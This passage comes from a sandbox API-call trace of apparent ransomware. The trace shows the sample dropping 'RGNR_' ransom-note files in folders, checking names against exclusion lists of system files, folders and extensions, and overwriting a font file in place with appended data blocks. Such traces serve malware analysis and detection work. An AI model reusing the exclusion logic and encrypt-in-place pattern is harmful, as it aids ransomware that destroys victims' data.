lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\" [0078.228] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\" [0078.228] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RGNR_FD7BD9FC.txt" [0078.228] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*" [0078.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x43 [0078.230] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.230] lstrcpyW (in: lpString1=0x1eb22c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.231] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.231] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.231] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.231] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.231] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2=".") returned 1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="..") returned 1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Windows") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Windows.old") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Tor browser") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Internet Explorer") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Google") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Opera") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Opera Software") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Mozilla") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="Mozilla Firefox") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="$Recycle.Bin") returned 1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="ProgramData") returned -1 [0078.231] lstrcmpiW (lpString1="Fonts", lpString2="All Users") returned 1 [0078.231] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x43 [0078.231] lstrcpyW (in: lpString1=0x1eb640, lpString2="Fonts" | out: lpString1="Fonts") returned="Fonts" [0078.231] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0078.231] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\" [0078.231] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RGNR_FD7BD9FC.txt" [0078.231] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*" [0078.235] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.235] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.235] lstrcpyW (in: lpString1=0x1ea760, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.235] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.235] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2=".") returned 1 [0078.235] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="..") returned 1 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="CHINESET.SHX", lpString2=".") returned 1 [0078.235] lstrcmpiW (lpString1="CHINESET.SHX", lpString2="..") returned 1 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2=".") returned 1 [0078.235] lstrcmpiW (lpString1="EXTFONT.SHX", lpString2="..") returned 1 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2=".") returned 1 [0078.235] lstrcmpiW (lpString1="GBCBIG.SHX", lpString2="..") returned 1 [0078.235] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0078.235] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="IC-TXT.SHX", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0078.236] lstrcmpiW (lpString1="ICAD.FMP", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="ICAD.FMP", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dfade0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.236] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0078.236] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0078.236] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0078.236] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0078.236] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2=".") returned 1 [0078.236] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2="..") returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0078.236] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80dfade0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dfade0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.236] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0078.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x49 [0078.236] lstrcpyW (in: lpString1=0x1eab74, lpString2="BIGFONT.SHX" | out: lpString1="BIGFONT.SHX") returned="BIGFONT.SHX" [0078.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX") returned=".SHX" [0078.236] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.236] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="autorun.inf") returned 1 [0078.236] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="boot.ini") returned -1 [0078.236] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="bootfont.bin") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="bootsect.bak") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="bootmgr") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="bootmgr.efi") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="bootmgfw.efi") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="desktop.ini") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="iconcache.db") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="ntldr") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="ntuser.dat") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="ntuser.dat.log") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="ntuser.ini") returned -1 [0078.237] lstrcmpiW (lpString1="BIGFONT.SHX", lpString2="thumbs.db") returned -1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".db") returned 1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".sys") returned -1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".dll") returned 1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".lnk") returned 1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".msi") returned 1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".drv") returned 1 [0078.237] lstrcmpiW (lpString1=".SHX", lpString2=".exe") returned 1 [0078.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx")) returned 0x20 [0078.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0078.237] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=324330) returned 1 [0078.237] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f2e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.237] GetProcessHeap () returned 0x580000 [0078.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.238] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.239] VirtualAlloc (lpAddress=0x0, dwSize=0x4f2ea, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0078.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.239] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.240] ReadFile (in: hFile=0x100, lpBuffer=0x480000, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1ea45c*=0x4f2ea, lpOverlapped=0x0) returned 1 [0078.250] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.251] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f2ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.251] WriteFile (in: hFile=0x100, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x4f2ea, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1ea458*=0x4f2ea, lpOverlapped=0x0) returned 1 [0078.252] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f2ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.252] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.254] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4f2ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.254] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.254] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.254] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.254] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.254] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.254] GetProcessHeap () returned 0x580000 [0078.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.254] CloseHandle (hObject=0x100) returned 1 [0078.255] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio 